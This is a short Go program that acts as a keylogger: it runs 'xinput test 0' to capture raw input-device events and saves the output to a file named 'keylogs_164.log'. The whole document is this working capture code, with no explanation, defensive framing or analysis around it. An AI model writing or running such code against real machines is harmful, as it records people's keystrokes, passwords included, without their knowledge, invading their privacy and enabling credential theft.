
package main

import (
    "os"
    "os/exec"
)

func main() {
    logfile := "keylogs_164.log"
    cmd := exec.Command("xinput", "test", "0")
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    log, _ := os.Create(logfile)
    defer log.Close()
    cmd.Stdout = log
    cmd.Run()
}
